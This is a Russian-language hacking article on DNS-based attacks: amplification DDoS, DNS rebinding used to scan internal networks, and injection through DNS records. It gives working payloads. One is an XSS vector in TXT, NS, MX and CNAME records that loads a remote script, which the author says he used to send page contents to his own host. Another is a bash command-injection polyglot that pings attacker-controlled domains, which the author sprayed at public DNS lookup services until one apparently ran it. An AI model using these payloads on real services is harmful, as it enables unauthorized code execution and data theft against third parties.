Содержание статьи
DNS — одна из самых старых технологий в современных реалиях интернетов. В эпоху появления доменных имен, когда людям стало лень запоминать IP-адреса для входа на тот или иной компьютер, были созданы те самые текстовые таблицы с алиасами IP-адресов. Спрашиваешь ты сервер DNS’а: кто такой domain.com? А он тебе IP-адрес в ответ. Но когда интернет начал распространяться по всему миру, доменов стало много и носить с собой эту таблицу оказалось неудобно, появилась современная реализация DNS-серверов.
Max power!
Современные DNS-серверы — распределенные. Они находятся в каждой точке мира и кешируют данные с различными типами записей. Эта запись для почты, а эта — для SIP. A-запись вернет привычный всем IPv4-адрес, AAAA — IPv6. Потом и DNSSEC подтянулся. В общем, обросла фичами та табличка, но сама суть осталась неизменна. Отсюда и атаки с использованием DNS-сервера, которые актуальны до сих пор.
Например, есть такой тип запроса — AXFR. Это запрос на передачу зоны DNS. Он используется для репликации DNS-сервера, а если сервер настроен неправильно, то он может вернуть все используемые записи конкретного домена на этом сервере. Во-первых, этот missconfig позволяет узнать техническую информацию об инфраструктуре какого-либо сайта, какие тут IP-адреса и поддомены. Именно так украли исходники HL2 (может, поэтому так долго нет третьей :D)? А так как в подавляющем большинстве случаев DNS работает по протоколу UDP, подделать отправителя несложно.
Этим и занялись вирмейкеры, запрашивая у тысячи серверов все данные о каком-нибудь домене. В результате такого запроса в ответ отдается большой и толстый пакет, содержащий подробную информацию о конфигурации сети, но пойдет он не к нам, а на указанный адрес. Результат налицо: разослав большой список «уязвимых» доменов, использовав при этом малые ресурсы сети и подделав обратный адрес, злоумышленник добьется того, что ответы от тысяч DNS серверов просто забомбят подделанный IP-адрес.
На смену им пришел DNSSEC — ключи, которые используются в нем, много больше, чем отправленные данные, в результате DDoS и отказ в обслуживании ресурса, который стал жертвой «дудосеров», стало получить еще легче. Да и вообще, DNS Amplification («DNS-усиление») имеет смысл, даже когда сервер просто возвращает больше информации, чем ему отправляется, — например, отправляются несколько десятков байт, а возвращается несколько сотен.
DNS Rebinding / Anti DNS Pinning
Но и атаки на клиентов не в диковинку. Одна из атак позволяет злоумышленнику обойти SOP и тем самым выполнить любое действие в контексте браузера пользователя от его лица. Ну не совсем обойти, а использовать одну особенность для атаки. Имя ее DNS Rebinding (она же Anti DNS Pinning). Смысл таков.
Есть некий сайт, подконтрольный злоумышленнику. Домен имеет две A-записи: первая — сам сайт хакера, вторая — внутренний ресурс, который недоступен извне. Жертва открывает зловредный сайт, страница (с JavaScript) загружается, после чего сервер, откуда загрузился сайт, перестает отвечать на запросы.
Что делает браузер, когда не отвечает IP из первой записи? Правильно! Идет ко второй! При попытке обращения к домену злоумышленника он идет на внутренний ресурс, тем самым силами JS он может отправлять и принимать запросы, да и вообще творить черт-те что. Почему? Потому что с точки зрения браузера страница обращается на свой же домен. Вроде бы и жертва находится на какой-то странице, в то же время эта страница начинает брутить его роутер или почту и выносить оттуда письма.
Правда, для этого необходимо выполнить ряд условий: уязвимый сервер должен отвечать на любой сторонний домен (ибо в заголовке Host будет доменное имя злоумышленника, по понятным причинам), ну-у-у... и знать, какой IP атаковать.
WARNING
Кстати, вот подсказка охотникам за ошибками. Видишь, что IP отвечает на произвольное доменное имя, — расскажи разработчикам об этой атаке :).
На самом деле браузеры пытались исправить такого рода атаки и ввели кеширование соответствия domain <-> IP на 60 секунд. Теперь злоумышленнику необходимо продержать жертву на странице больше минуты, но, думаю, это не так сложно, ведь цель оправдывает средства.
А узнать, какие внутренние ресурсы доступны, можно с помощью проверки хеша браузера или с помощью вариации CSS History Hack. Последнюю использовали в исследовании этой уязвимости PTsecurity (ссылки на материалы, как всегда, в конце статьи). Но можно воспользоваться и еще одной фичей.
INFO
Почитать про DNS-ребиндинг можно тут:
https://crypto.stanford.edu/dns/dns-rebinding.pdf
https://www.ptsecurity.com/download/DNS-rebinding.pdf
Как мы выяснили, если доменное имя имеет несколько IP-адресов, то браузер (или другой клиент) при недоступности первой записи переходит на вторую.
Тема такая. Специально настроенный сервер DNS возвращает на доменное имя злоумышленника подобные записи:
test.evil.host 192.168.1.1
test.evil.host 192.168.1.1.evil.host
test2.evil.host 192.168.1.2
test2.evil.host 192.168.1.2.evil.host
test3.evil.host 192.168.1.3
test3.evil.host 192.168.1.3.evil.host
test4.evil.host 192.168.1.3
test4.evil.host 192.168.1.3.evil.host
test5.evil.host 192.168.1.4
test5.evil.host 192.168.1.4.evil.host
test6.evil.host 192.168.1.5
test6.evil.host 192.168.1.5.evil.host
...Теперь смотри. Когда жертва открывает страницу злоумышленника, на странице находится картинка, которая должна загрузиться с адреса test.evil.host, браузер резолвит доменное имя и получает массив IP-адресов.
Первым он пытается открыть 192.168.1.1:80, которого нет в нашей сети. Недоступен? Идет дальше и открывает 192.168.1.1.evil.host. Так как это подконтрольный сервер, мы фиксируем, что такого IP-адреса с таким портом нет.
И-и-и... Делаем перенаправление на test2.evil.host! И так до тех пор, пока ответа не будет или количество редиректов не достигнет 20 (обычно после браузер перестает ходить по редиректам, хотя Хром выводит ошибку и продолжает ходить).
Создаем множество скрытых загрузок на различные порты и диапазоны адресов — и мы получаем отсканированную внутреннюю сеть. Если порт открыт, даже если это не HTTP, а, например, порт 3306 (MySQL), — браузер выведет ошибку и не будет больше переходить по редиректам. Посмотрев отсутствующие записи (браузер не отправил HTTP-пакет на этот адрес), можно прикинуть, какие порты открыты.
XSS-инжекты через DNS
Некоторое время назад как иностранные, так и русскоязычные СМИ рассказывали об атаке, в которой в качестве TXT-записи отдается XSS-вектор. Настраиваем TXT-запись подобным образом (только замени квадратные скобки вокруг [script] на угловые <script>):
evil.host. 300 IN TXT "[script]alert()[/script]"и там, где веб-приложение показывает эту запись, скрипт выполнится. Разумеется, если не фильтруются спецсимволы в пользовательских данных.
«А что тут такого?» — подумал я. У меня XSS-вектор в домене висит полдесятка лет (еще Agava не может ее нормально пофиксить, алерт вылезает прямо в кабинете), ведь завести подобную запись можно в любой панели управления. А как насчет других записей?
Сказано — сделано. В первую очередь я запилил сервер и завел NS-запись на hack.bo0om.ru, который будет обслуживаться моим сервером. Для упрощения создания конфигурации я воспользовался моим любимым Python-скриптом DNSChef. Это DNS-proxy, который может логировать запросы к нему, а еще и удобненько настраивать.
Самое смешное, что в самом начале теста я завел запись
ns.hack.bo0om.ru. 0 IN NS ns.hack.bo0om.ru.(IP-адрес ns.hack нужно получить у домена ns.hack). И попробовал посовать этот домен во всякие формы сайтов. Ну и что ты думаешь?
Часть DNS-клиентов стала рекурсивно запрашивать у меня записи, а когда лог достиг сотни мегабайт, эксперимент пришлось прервать. Технологии используются несколько десятков лет, а поломать все можно логической ловушкой, ну офигеть теперь!
Ну ладно, продолжим. Открываем dnschef.ini, пишем туда следующий конфиг (опять же, не забудь заменить скобки для [script]):
[NS] # Queries for mail server records
*.xss.hack.bo0om.ru="-->'>[/script][script/src=//hi.bo0om.ru/js/?ns][/script][MX] # Queries for mail server records
*.xss.hack.bo0om.ru="-->'>[/script][script/src=//hi.bo0om.ru/js/?cname][/script][CNAME] # Queries for alias records
*.xss.hack.bo0om.ru="-->'>[/script][script/src=//hi.bo0om.ru/js/?cname][/script]Звездочка возвращает ответ на любой запрос. В качестве имени параметра я узнаю, какая запись спровоцировала загрузку JS-скрипта с моей стороны, а на hi.bo0om.ru/js выдается скрипт, который делает нужное нам действие. Это может быть классический alert(), но лично я брал текущую ссылку и собирал весь текст страницы, где заинжектился скрипт, и отправлял себе.
Вот тут-то и выяснилось, что большинство интернет-сервисов, которые показывают информацию о записях DNS, вовсе не ожидают, что в качестве NS или того же MX придет атакующий вектор. Фильтрует одно — проверяем другое.
Но профита от этого мало, правда? Ради эксперимента я решил попробовать атаковать уже серверную часть. Какие есть пейлоады с выполнением произвольного кода в bash? Я выделил
& whoami
`whoami`
$(whoami)
‘&whoami
“&whoamiТакже на сервере может быть закрыт доступ на 80/443-й порт, а DNS обычно открыт. Используя все эти трюки, я составил такой RCE-полиглот:
&$(ping${IFS}-c1${IFS}rce1.bo0om.ru)&ping -c1 rce2.bo0om.ru&'\"`0&$(ping${IFS}-c1${IFS}rce3.bo0om.ru)&ping -c1 rce4.bo0om.ru&`'Команда ping выполнится на один из моих доменных имен, но, чтобы узнать, какой IP у домена, он придет ко мне — тут-то я и увижу, что выполнение произвольного кода сработало. Иду в конфиг, делаю так:
[NS] # Queries for mail server records
*.rce.hack.bo0om.ru=&$(ping${IFS}-c1${IFS}rce1.bo0om.ru)&ping -c1 rce2.bo0om.ru&'\"`0&$(ping${IFS}-c1${IFS}rce3.bo0om.ru)&ping -c1 rce4.bo0om.ru&`'
[MX] # Queries for mail server records
*.rce.hack.bo0om.ru=&$(ping${IFS}-c1${IFS}rce1.bo0om.ru)&ping -c1 rce2.bo0om.ru&'\"`0&$(ping${IFS}-c1${IFS}rce3.bo0om.ru)&ping -c1 rce4.bo0om.ru&`'
[CNAME] # Queries for alias records
*.rce.hack.bo0om.ru=&$(ping${IFS}-c1${IFS}rce1.bo0om.ru)&ping -c1 rce2.bo0om.ru&'\"`0&$(ping${IFS}-c1${IFS}rce3.bo0om.ru)&ping -c1 rce4.bo0om.ru&`'Ну и что? А ничего. Посовал на всяких сайтах домен, а отстука о выполнении произвольного кода нет. Не было. Где-то неделю. А потом та-да-ам!
Действительно, кто-то собирал соответствие домен — запись и недостаточным образом фильтровал данные от DNS-сервера. Так может, таким образом можно и Shodan хакнуть? 🙂
Outro
Куда еще копать? DNS-туннели, DNS hijacking, OOB attacks, DNS cache poisoning, DNS flood. Я уверен, что можно таким образом выполнять SQL-инъекции и их будет много больше, — правда, это получается совсем вслепую. Хотя, может, попробуешь OOB-вектор в MS SQL?
Подписывайся на канал, ставь лайки, вот это всё ;).
WWW
Примеры уязвимых серверов:
https://www.robtex.com/
https://who.is/
https://www.reg.ru/nettools/dig
